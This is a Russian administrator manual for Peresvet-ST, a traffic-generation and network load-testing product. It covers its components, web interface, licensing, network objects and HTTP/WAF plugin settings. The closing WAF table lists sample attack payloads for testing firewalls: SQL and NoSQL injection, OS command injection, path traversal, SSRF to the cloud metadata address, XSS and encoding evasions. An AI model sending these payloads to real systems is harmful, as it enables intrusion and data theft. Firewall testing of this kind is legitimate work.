Перейти к основному содержимому

Руководство администратора

Руководство администратора доступно в 2-х форматах: PDF и Markdown. На данной странице доступны оба варианта

Скачать руководство администратора в PDF:

Компоненты ПО Агента Пересвет-СТ

Программное обеспечение Агента Пересвет-СТ представляет собой комплексное решение для проведения тестирования, эмуляции сети и работы приложений.
ПО Пересвет-СТ состоит из следующих компонентов (см. Рис. 1):

Состав:

  1. peresvet-st-controller - центральный управляющий компонент системы. Контроллер координирует всю логику тестирования - инициирует тесты, контролирует состояние агентов, собирает и обрабатывает статистику.

    Функции:

    • Принимает команды и параметры от пользователя;
    • Управляет работой агента (peresvet-st-agent), передаёт ему параметры для генерации и обработки сетевого трафика;
    • Собирает, агрегирует и сохраняет результаты тестирования;
    • Взаимодействует с системами хранения и визуализации данных (Postgres, Clickhouse, Grafana).
  2. peresvet-st-agent - компонент системы, отвечающий за генерацию и обработку сетевого трафика. Агент непосредственно осуществляет сетевую нагрузку и измерения, руководствуясь полученными инструкциями от контроллера и эмулируя одновременно пользовательский и серверный трафик.

    Функции:

    • Получает параметры генерации трафика от контроллера;
    • Использует специализированные сетевые стеки (DPDK (библиотеки)) для генерации и обработки трафика с заданными параметрами;
    • Формирует результаты измерений и отправляет их обратно контроллеру.
  3. DPDK (библиотеки) - Высокопроизводительные библиотеки сетевого ввода-вывода (I/O), подключаемые к peresvet-st-agent во время компиляции.

    Функции: Обеспечивают агенту возможность эффективно отправлять и принимать большие объёмы сетевого трафика, минуя ядро операционной системы для достижения максимальной производительности.

    DPDK

    • Обязательный компонент итоговой сборки;
    • Обеспечивает прямой доступ к сетевым PCI-устройствам и высокопроизводительный сетевой ввод-вывод.
  4. Postgres - реляционная база данных для хранения структурированных данных тестирования, таких как параметры запусков и метаданные тестов.

  5. Clickhouse - колоночная СУБД, оптимизированная для хранения и оперативного анализа больших объёмов телеметрических данных и результатов тестирования.

  6. Grafana - система визуализации и анализа данных. Предоставляет пользователю удобный web-интерфейс для просмотра графиков, метрик и анализа результатов испытаний.

  7. Docker / Docker-compose - система контейнеризации и оркестрации сервисов. Позволяет развернуть компоненты системы Clickhouse, Postgres, в виде контейнеров.

Рис. 1

Рис. 1 – Схема компонентов ПО Пересвет-СТ

Веб-интерфейс Пересвет-СТ

Для настройки Пересвет-СТ необходимо обратиться по протоколу HTTP на назначенный управляющий интерфейс IP-адреса по порту 8080.
При входе в Пересвет-СТ администратор попадает на главную страницу.
На главной странице пользователю доступны следующие разделы:

  • Задачи – предназначена для генерации трафика. В данном разделе представлены задачи, что позволяют использовать различные профили генерации трафика;
  • Агенты и сети – предназначена для настройки параметров агентов и объектов, которые будут использоваться в профилях генерации трафика;
  • Пользователи – предназначена для настройки пользователей, которые относятся к настройкам Пересвет-СТ.

Раздел «Задачи»

Раздел «Задачи» является центральным рабочим пространством Пересвет-СТ и предназначен для управления задачами генерации и обработки сетевого трафика.

Страница отображает список всех созданных задач в виде таблицы со следующими столбцами:

СтолбецОписание
IDУникальный числовой идентификатор задачи
ИздательПользователь (e-mail и ID), создавший задачу
СтатусТекущее состояние задачи: «Завершена» (зелёная галочка) или иное
ЗапущенаДата и время запуска задачи
ЗавершенаДата и время завершения задачи
СозданаДата и время создания задачи
Посл. измененияДата и время последнего изменения задачи

В правой части каждой строки расположены кнопки действий: просмотр (иконка глаза) и удаление (иконка корзины).

В верхней части страницы доступны:

  • строка поиска «Поиск по всем задачам» для быстрой фильтрации;
  • кнопка «+ Новая задача» для создания новой задачи генерации трафика.

В нижней части страницы расположена навигация по страницам с указанием общего числа записей и текущей страницы. Количество отображаемых записей на странице настраивается (по умолчанию 10).

Страница задачи

При нажатии на иконку просмотра (иконка глаза) в строке задачи открывается страница конкретной задачи. В заголовке отображается её номер (например, Задача #1915) и текущий статус (например, «Завершена»). В правом верхнем углу расположена кнопка «Запустить задачу» для повторного запуска.

Страница задачи содержит пять вкладок:

ВкладкаОписание
Data PlaneНастройки и результаты плоскости данных — параметры генерации трафика, статистика по пакетам и потокам
Control PlaneНастройки и результаты плоскости управления — протоколы маршрутизации (BGP, ISIS, OSPF и др.)
СхемаВизуальная схема топологии тестирования
МетрикиГрафики и числовые показатели выполнения задачи
ЛогиЖурнал выполнения задачи с возможностью фильтрации и поиска

Вкладка «Логи»

Вкладка «Логи» отображает журнал выполнения задачи и предназначена для диагностики и анализа хода тестирования. Содержит блок «Логи выполнения» со следующими элементами управления:

  • Поиск по логам — текстовая строка для фильтрации записей по содержимому;
  • Агенты — выпадающий список для фильтрации логов по конкретному агенту;
  • Уровень логирования — выпадающий список для фильтрации по уровню важности записей. Доступны три значения:
    • Все уровни — отображаются все записи журнала;
    • Ошибки — отображаются только записи об ошибках выполнения;
    • Инфо — отображаются только информационные сообщения.

В правом верхнем углу блока расположены вспомогательные кнопки: скачать лог (иконка загрузки), копировать в буфер (иконка копирования), прокрутить вверх, прокрутить вниз, а также чекбокс «Автопрокрутка» — при включении область логов автоматически прокручивается к последней записи в режиме реального времени.

Если логи ещё не сформированы или задача не генерировала записей, отображается сообщение «Логи пока отсутствуют».

Настройка «Агенты и сети»

Вкладка «Агенты и сети" предназначена для конфигурации параметров агентов и объектов, необходимых для создания заданий по генерации трафика.

Агенты

Агент — это программно-аппаратное средство, генерирующее трафик по заданным параметрам, и может быть представлен в виде сервера или виртуальной машины.

Первичная смена пароля

Пройдя первую аутентификацию в веб-интерфейсе Пересвет-СТ администратору будет предложено сменить текущий пароль. Для смены пароля необходимо ввести новый пароль в поля «Пароль» и «Подтверждение пароля» (см. Рис. 2).

Рис. 2

Рис. 2 - Окно со сменой пароля

Добавление лицензии для агента

Для добавления лицензии на агент необходимо следующее:

  1. Перейти во вкладку Агент и сети → Агенты;

  2. Найти нужный агент и нажать на кнопку мета-данные агента в строке нужного агента и выбрать окно «Сведения»;

  3. Откроется окно с метаданными агента (пример представлен на Рис. 3). В этом окне необходимо скопировать HWID агента;

Рис. 3

Рис. 3 — Окно с мета-данными агента

  1. Далее необходимо направить электронное письмо с HWID агента на почту support@peresvet.it с указанием юридического лица и контактных данных;

  2. Далее в ответ на письмо с HWID агента будет передан файл с лицензией;

  3. Для того, чтобы загрузить лицензию необходимо нажать на кнопку мета-данные агента в строке нужного агента и выбрать окно «Загрузить лицензию»;

  4. Далее нажмите на кнопку «Просмотр файлов» и выберите файл лицензии в окне поиска файлов или перетащите в файл в область, выделенную пунктиром;

  5. После загрузки файла с лицензией в контроллер, нажмите кнопку «Загрузить на агента»;

  6. После этого закрыть и снова открыть окно сведения и убедится, что лицензия соответствует продуктам, датам начала и окончания действий, пропускной способности.

    Сети

Данный раздел необходим для создания объектов, которые будут использоваться в профилях генерации трафика.
Объекты сети делятся на 2 типа:

  • Отправитель - данный объект будет использоваться в плагинах генерации трафика как «Отправитель».

  • Получатель - данный объект будет использоваться в плагинах генерации трафика как «Получатель».

Объект типа отправитель делится на 2 типа:

  • Выключенный спуффинг по паттерну - данный объект будет использоваться в Stateful плагинах.

  • Включенный спуффинг по паттерну - данный объект будет использоваться в Stateless плагинах.

    Добавление сети типа «отправителя» для Stateful плагинов

Для того, чтобы создать объект типа «отправитель» для Stateful плагинов необходимо:

  1. Перейти в раздел Агент и сети → Сети;

  2. Далее нажать на кнопку «+ Создать сеть» (см. Рис. 4);

Рис. 4

Рис. 4 — Вкладка «Сети»

  1. Заполнить поля, описание которых находится в Табл. 3;

    Табл. 3 — Поля для создания объекта типа «отправитель» для Stateful плагина

НазваниеОписаниеЗначение
Название сетиНазвание объекта, которое будет использоваться в настройках плагиновЗаполнить название сети
Тип сетиОтправитель – данный объект будет использоваться в плагинах генерации трафика как «отправитель». Получатель – данный объект будет использоваться в плагинах генерации трафика как «получатель».Отправитель
Спуфинг по паттернуВключение генерации IP-адресов по определенному паттерну, указанному в следующем поле.Выключен (например, если включить: паттерн 10.10.10.-190 / для IPv6 2001:db8:10:10::-190)
ПодсетьIP-адреса из данной подсети будут использоваться в качестве «отправителя» при отправлении пакета.IPv4: 10.10.10.0/24 / IPv6: 2001:db8:10:10::/64
Исключенные адресаДля вышеуказанной подсети Пересвет-СТ предложит выбрать адреса, которые будут исключаться при отправке пакетов (необходимо выбрать занятые другими устройствами адреса, чтобы избежать перезаписи ARP-таблиц).IPv4: 10.10.10.1, 10.10.10.2, 10.10.10.100 / IPv6: 2001:db8:10:10::1, 2001:db8:10:10::2, 2001:db8:10:10::100
ШлюзIP-адрес устройства, которое будет использоваться для соединения подсети, указанной выше, и той, что будет указана в рамках плагина в качестве «получателя», обеспечивая передачу данных между ними.IPv4: 10.10.10.1 / IPv6: 2001:db8:10:10::1
  1. Далее, для создания сети необходимо нажать на кнопку «Применить»;

    Добавление сети типа «отправителя» для Stateless плагинов

Для того, чтобы создать объект типа «отправитель» для Stateless плагинов необходимо:

  1. Перейти в раздел Агент и сети → Сети;

  2. Далее нажать на кнопку «+ Создать сеть» (см. Рис. 4);

  3. Заполнить поля, описание которых находится в Табл. 4;

    Табл. 4 — Поля для создания объекта типа «отправитель» для Stateless плагина

НазваниеОписаниеЗначение
Название сетиНазвание объекта, которое будет использоваться в настройках плагиновЗаполнить название сети
Тип сетиОтправитель – данный объект будет использоваться в плагинах генерации трафика как «отправитель» Получатель – данный объект будет использоваться в плагинах генерации трафика как «Получатель»Отправитель
Спуфинг по паттернуВключение генерации IP-адресов по определенному паттерну, указанному в следующем поле.Тумблер включен
ПаттернПаттерн, по которому будут генерироваться IP-адреса, которые будут использоваться в качестве «отправителя» при отправлении пакета.Заполните поле в формате Х.*.*.*, где Х – Этот октет всегда должен быть числом. В контексте IPv4 это число должно находиться в диапазоне от 0 до 255. Например, допустимыми значениями могут быть 0, 1, 2, ..., 255. Остальные три октета (*.*.*): Каждый из этих октетов может быть либо числом в диапазоне от 0 до 255, либо символом *, который обозначает, что в этом месте может находиться любое число от 0 до 255. Пример: 192.*.*.* — первый октет фиксирован (192), остальные могут быть любыми числами от 0 до 255. 10.0.*.* — первый октет фиксирован (10), второй фиксирован (0), а третий и четвертый могут принимать любые значения. 172.16.5.100 — конкретный IP-адрес, где все октеты заданы числами.
Адрес сервераIP-адрес с которого агент будет обмениваются информацией о своих IP и MAC-адресах.Укажите IP-адрес (например, 10.10.10.2)
ШлюзIP-адрес устройства, которое будет использоваться для соединения подсети, указанной выше, и той, что будет указана в рамках плагина в качестве «получателя», обеспечивая передачу данных между ними.Укажите IP-адрес (например, 10.10.10.1)
  1. Далее, для создания сети необходимо нажать на кнопку «Применить».

    Добавление сети типа «получателя»

Для того, чтобы создать объект типа «получатель» необходимо:

  1. Перейти в раздел Агент и сети → Сети;

  2. Далее нажать на кнопку «+ Создать сеть» (см. Рис. 4);

  3. Заполнить поля, описание которых находится в Табл. 5;

    Табл. 5 — Поля для создания объекта типа «получатель»

НазваниеОписаниеЗначение
Название сетиНазвание обьекта, которое будет использоваться в настройках плагиновЗаполнить название сети
Тип сетиОтправитель – данный объект будет использоваться в плагинах генерации трафика как «отправитель» Получатель – данный объект будет использоваться в плагинах генерации трафика как «Получатель»Получатель
ПодсетьIP-адреса из данной подсети будут использоваться в качестве «получателя» при отправлении пакета.Заполните поле в формате CIDR (например, 10.10.10.10 или 10.10.10.0/24)
Исключенные адресаДля вышеуказанной подсети Пересвет-СТ предложит выбрать адреса, которые будут исключаться при отправке пакетоввыберите адреса из списка
ПортыПоле «Порты» отвечает за указание конкретных сетевых портов, через которые будет происходить обмен данными в рамках данной сети или подключения.Перечислите числовые порты (например, 80 или 80,81,82 и тд.)
  1. Далее, для создания сети необходимо нажать на кнопку «Применить».

    MAC-адреса

Данный раздел необходим для создания объектов, которые будут использоваться в профилях генерации трафика.
Объекты сети делятся на 2 типа:

  • Отправитель - данный объект будет использоваться в плагинах генерации трафика как «Отправитель».

  • Получатель - данный объект будет использоваться в плагинах генерации трафика как «Получатель».

    Добавление MAC-адреса типа «отправителя»

Для того, чтобы создать объект типа «отправителя» необходимо:

  1. Перейти в раздел Агент и сети → MAC-адреса;

  2. Далее нажать на кнопку «+ Создать MAC-адрес» (см. Рис. 5);

Рис. 5

Рис. 5 — Вкладка «MAC-адреса»

  1. Заполнить поля, описание которых находится в Табл. 6;

    Табл. 6 — Поля для создания объекта «MAC-адреса» типа «отправитель»

НазваниеОписаниеЗначение
Название MAC-адресаНазвание обьекта, которое будет использоваться в настройках плагиновЗаполнить название MAC-адреса
Тип MAC-адресаОтправитель – данный объект будет использоваться в плагинах генерации трафика как «отправитель» Получатель – данный объект будет использоваться в плагинах генерации трафика как «Получатель»Отправитель
MAC-адресЗначение MAC-адреса, которое будет использоваться в качестве «отправителя» при отправлении пакета.В это поле вводится значение MAC-адреса устройства в стандартном формате (например, AB:CD:EF:12:34:56)

Добавление MAC-адреса типа «получателя»

Для того, чтобы создать объект типа «получателя» необходимо:

  1. Перейти в раздел Агент и сети → MAC-адреса;

  2. Далее нажать на кнопку «+ Создать MAC-адрес» (см. Рис. 5);

  3. Заполнить поля, описание которых находится в Табл. 7.

    Табл. 7 — Поля для создания объекта «MAC-адреса» типа «отправитель»

НазваниеОписаниеЗначение
Название MAC-адресаНазвание обьекта, которое будет использоваться в настройках плагиновЗаполнить название MAC-адреса
Тип MAC-адресаОтправитель – данный объект будет использоваться в плагинах генерации трафика как «отправитель» Получатель – данный объект будет использоваться в плагинах генерации трафика как «Получатель»Получатель
MAC-адресЗначение MAC-адреса, которое будет использоваться в качестве «отправителя» при отправлении пакета.В это поле вводится значение MAC-адреса устройства в стандартном формате (например, AB:CD:EF:12:34:56)

SSL-сертификаты

Для того, чтобы создать объект типа "SSL-сертификат" необходимо:

  1. Перейти в раздел Агент и сети → SSL-сертификаты;

  2. Далее нажать на кнопку «+ Добавить Сертификат» (см. Рис. 6);

Рис. 6

Рис. 6 — Вкладка «SSL-сертификаты»

  1. Заполнить поля, описание которых находится в Табл. 8.

    Табл. 8 — Поля для создания объекта «SSL-сертификат»

НазваниеОписаниеЗначение
Название SSL-сертификатаНазвание обьекта, которое будет использоваться в настройках плагиновЗаполнить название SSL-сертификата
Публичный ключПубличный ключ – открытая часть ключевой пары, используется для шифрования данных и проверки цифровой подписиЗаполните поля согласно вашему сертификату
Приватный ключПриватный ключ — секретная часть ключевой пары, используется для расшифровки данных и создания цифровой подписи.Заполните поля согласно вашему сертификату

Настройка «Задачи»

Задачи — это инструменты для генерации трафика с использованием различных плагинов.

Концепция задач и плагинов

В Пересвет-СТ каждый отдельный поток трафика представлен отдельным плагином. Плагин — это самостоятельная единица генерации или обработки трафика определённого типа (HTTP, WAF, DNS, UDP Flood и т.д.) со своими настройками: источником, целью, параметрами протоколов, интенсивностью и длительностью. Каждый плагин решает свою «мини-задачу» — например, генерирует HTTP-запросы к веб-серверу, отправляет DNS-запросы или создаёт UDP-нагрузку.

Задача — это набор таких плагинов, объединённых в единый сценарий тестирования. При создании задачи пользователь добавляет один или несколько плагинов, каждый из которых формирует независимый поток трафика со своими параметрами. Таким образом:

  • Плагин - один поток трафика определённого типа с индивидуальными настройками по генерации или измерению конкретного вида трафика;
  • Задача - совокупность плагинов, которые запускаются совместно и формируют комплексный сценарий нагрузочного тестирования.

Такая архитектура позволяет в рамках одной задачи одновременно генерировать разнородный трафик — например, комбинировать HTTP-нагрузку с DNS-запросами и UDP-потоком, моделируя реалистичный сетевой профиль. Каждый плагин в задаче настраивается независимо: можно назначить разные агенты, сетевые интерфейсы, интенсивность и длительность для каждого потока.

Для настройки Пересвет-СТ для проведения генерации трафика необходимо:

  1. Используя любой веб-браузер, подключиться к веб-интерфейсу Пересвет-СТ;

  2. Перейти в раздел Задачи → Новая Задача (Рис. 7);

Рис. 7

Рис. 7 – Переход в раздел Задачи»

  1. Настроить конфигурацию плагинов.

Плагин – инструмент, предназначенный для выбора типа определенного генерируемого трафика как для отправки, так и для приема трафика.

Настройка плагина Клиентской конфигурации

HTTP

HTTP – плагин для генерации различного веб-трафика.

Данный плагин состоит из следующих параметров:

  1. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 9;

Табл. 9 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
  1. Цели - параметры для выбора объекта, в который будет направляться трафик (см .заголовок «Сети»), описание которых указаны в Табл. 10;

Табл. 10 – Параметры «Цели»

НазваниеОписаниеЗначение
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) - параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 11;

Табл. 11 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
  1. TCP заголовок (L4) - параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 12;

Табл. 12 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
  1. Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 13;

Табл. 13 – Параметры «Параметры HTTP»

НазваниеОписаниеЗначение
HTTPsУказывает, используется ли защищенный протокол передачи данных HTTPSДа / Нет (укажите текущее состояние переключателем тумблера)
Версия TLSВерсия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером (Параметр доступен, если параметр HTTPs включен)выберите значение TLS v1.2 или TLS v1.3
Версия HTTPУказывает версию протокола HTTP, используемую для передачи данных.выберите значение HTTP 1.1 или HTTP 2.0
User-AgentЗаголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос.Введите значение заголовка: по умолчанию, значением заговолка является: «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36» ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе
ПутьУказывает путь к запрашиваемому ресурсу на сервере. Это часть URL, которая следует за доменным именем.Введите значение пути (по умолчанию, значение пути является корневая директория сервера: «/»)
HTTP методМетод, используемый для запроса ресурса на сервере.выберите из следующего списка: GET POST PUT PATCH DELETE
HTTP статусОпция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы содержащие код ответа 3ХХ будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «location»Включить/выключить тумблер
HTML Meta RefreshОпция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы, содержащие в ответе HTML страницу с meta-тегом «refresh» будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «content», включая задержкуВключить/выключить тумблер
ГлубинаЗначение максимально допустимого количества переадресаций в рамках одной TCP сессииЗадайте свое значение (по умолчанию, значение равно «20»)
Query параметрыПараметры, передаваемые в URL после знака вопроса (?)Введите значение после нажатия кнопки «Добавить параметры»:
Введите свое значение;
${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)});
${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)});
${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)});
${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)});
${email} - Формирует валидный email со случайным именем пользователя и доменом;
${login} - Формирует валидный логин пользователя;
${password}- Формирует валидный пароль пользователя.
Тело запросаЧасть HTTP-запроса, содержащая данные, которые клиент отправляет серверу (например, форму или JSON). Параметр доступен если выбраны методы: POST, PUT или PATCHЗаполните поле «тело запроса» следующим образом: Введите значение тело запроса ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя
ЗаголовкиДополнительные метаданные, отправляемые вместе с HTTP-запросом.Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя
  1. Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 14;

Табл. 14 – Параметры «Параметры сессии»

НазваниеОписаниеЗначение
Общее количество сессийМаксимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина.Задайте числовое значение
Тайм-аут повторного подключенияВремя в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта.Задайте числовое значение
Подключений в секундуМаксимальное количество новых сессий, которые могут быть установлены за одну секунду.Задайте числовое значение
Макс. стримов (на сессию)Максимальное количество потоков данных, которые могут быть активны в одной сессии. Параметр доступен только при включении H2 в «Параметрах HTTP».Задайте числовое значение
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить
Запросов в секунду (на сессию)Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима.Задайте числовое значение
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение
  1. Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 15.

Табл. 15 – Параметр «Длительность»

НазваниеОписаниеЗначение
Длительность генерацииВремя генерации трафикаЗадайте числовое значение и выберите величину (в секундах, минутах или часах)

WAF

WAF – плагин для генерации различного веб-трафика с заданными уязвимостями.

Данный плагин состоит из следующих параметров:

  1. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 16;

Табл. 16 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
  1. Цели - параметры для выбора объекта, в который будет направляться трафик (см .заголовок «Сети»), описание которых указаны в Табл. 17;

Табл. 17 – Параметры «Цели»

НазваниеОписаниеЗначение
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) - параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 18;

Табл. 18 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
  1. TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 19;

Табл. 19 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
  1. TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 20;

Табл. 20 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
  1. Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 21;

Табл. 21 – Параметры «Параметры HTTP»

НазваниеОписаниеЗначение
HTTPsУказывает, используется ли защищенный протокол передачи данных HTTPSДа / Нет (укажите текущее состояние переключателем тумблера)
Версия TLSВерсия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером (Параметр доступен, если параметр HTTPs включен)выберите значение TLS v1.2 или TLS v1.3
Версия HTTPУказывает версию протокола HTTP, используемую для передачи данных.выберите значение HTTP 1.1 или HTTP 2.0
User-AgentЗаголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос.Введите значение заголовка: по умолчанию, значением заговолка является: «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36» ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе
  1. WAF модули – готовые вредоносные запросы, состоящие из следующих видов тестирования:

Базовое тестирование WAF, описание приведено в Табл. 22

Табл. 22 – Параметры «Базовое тестирование WAF»

НазваниеОписаниеЗначение
Broken Access ControlЗапрос на запрещенный путь(GET /admin/delete\_user?id=1)
Injection URL (SQLi)SQL в URL?id=1+union+select+1,2,3--
Injection JSON (SOLi)SQL в JSON({“user”: {“$ne”: null}})
Injection (Command)OS Command(GET /?id=system(cd /var/jet && make &\> /dev/null);)
Insecure DesingJSON логика({“action”: “makeAdmin”, “user”: “guest”})
Security MisconfigЗапрос на .git(Get /.git/config)
Outdated ComponentsУязвимый плагин WPGET /wp-content/plugins/revslider/temp/update\_extract/revslider/
Auth FailuresС подделкой токена(Cookie: auth\_token=invalid)
Data IntegrityФейковый JS(GET /cdn/js/app.js?v=999999999)
Path TraversalОбход файлов(GET /?home=/ ../ ../ ../ ../ ../)
SSRFЗапрос в медиаданные AWS({“url”: [http://169.254.169.254/latest/meta-data/](http://169.254.169.254/latest/meta-data/)})`
XSS: BasicБазовый XSS(<script\>alert(xss)</script>)
XSS: ObfuscatedОбфусцированный XSS(\<scr\<script\>ipt\>alert(xss)\</scr\<script\>ipt\>)
Bypass: SQLi with URL-encodingSQLi c URL-энкодингом( q=%27%20OR%201 %3D1-)
Evasion: Chunked EncodingChunked Encoding(Transfer-Encoging: chunked \+ encoded payloag)

